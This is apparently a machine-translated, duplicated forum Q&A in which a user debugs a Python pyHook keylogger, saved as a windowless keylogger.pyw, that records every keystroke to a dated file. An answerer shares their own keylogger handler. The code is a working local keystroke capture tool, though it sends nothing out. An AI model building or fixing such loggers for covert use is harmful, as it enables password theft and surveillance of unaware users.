Python TypeError 需要一个整数 pyHook pythoncom
Python TypeError an integer is required pyHook pythoncom
我写了一个脚本:
import pythoncom, pyHook
import time
from time import strftime,localtime
def OKBE(event):
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
f=open(str(log),"a")
if(str(event.Ascii)=="8"):
f.write("<--")
print("<--")
elif(str(event.Ascii)=="13"):
f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")
print("\nENTER\n")
elif(str(event.Ascii)=="32"):
f.write(" ")
else:
f.write(chr(event.Ascii))
print(str(event.Ascii))
print(chr(event.Ascii))
manager = pyHook.HookManager()
manager.KeyDown = OKBE
manager.HookKeyboard()
pythoncom.PumpMessages()
但只要事件是 a 或 p 和其他一些字母,我就会收到此错误:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required
有人知道为什么吗?
事件是一个class(或者我应该说,一个class的实例),你可以从实例中调用信息(见下面的代码),例如'event.key'将给出你的 ASCII 字符代码。 event.alt 将 return 'alt' 键的状态。
我记得在编写 python 键盘记录器时处理过类似的问题(虽然已经有年头了)。我看不出您的代码有任何问题。我的 'OKBE' 函数看起来更像这样。
def OnKeyboardEvent(self, event):
if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
print data # debugging
我相信使用上述方法可以捕获大部分(如果不是全部)常用的击键。使用上面的函数,我创建了一个 class 和其他日志记录函数。
如果您需要其他任何东西,或者弄清楚您的代码中发生了什么,请告诉我:)
我认为这个问题是一个错误...当我更换
<code>log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
经过
log="log.txt"
一切正常
我写了一个脚本:
import pythoncom, pyHook
import time
from time import strftime,localtime
def OKBE(event):
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
f=open(str(log),"a")
if(str(event.Ascii)=="8"):
f.write("<--")
print("<--")
elif(str(event.Ascii)=="13"):
f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")
print("\nENTER\n")
elif(str(event.Ascii)=="32"):
f.write(" ")
else:
f.write(chr(event.Ascii))
print(str(event.Ascii))
print(chr(event.Ascii))
manager = pyHook.HookManager()
manager.KeyDown = OKBE
manager.HookKeyboard()
pythoncom.PumpMessages()
但只要事件是 a 或 p 和其他一些字母,我就会收到此错误:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required
有人知道为什么吗?
事件是一个class(或者我应该说,一个class的实例),你可以从实例中调用信息(见下面的代码),例如'event.key'将给出你的 ASCII 字符代码。 event.alt 将 return 'alt' 键的状态。
我记得在编写 python 键盘记录器时处理过类似的问题(虽然已经有年头了)。我看不出您的代码有任何问题。我的 'OKBE' 函数看起来更像这样。
def OnKeyboardEvent(self, event):
if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
print data # debugging
我相信使用上述方法可以捕获大部分(如果不是全部)常用的击键。使用上面的函数,我创建了一个 class 和其他日志记录函数。
如果您需要其他任何东西,或者弄清楚您的代码中发生了什么,请告诉我:)
我认为这个问题是一个错误...当我更换
<code>log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
经过
log="log.txt"
一切正常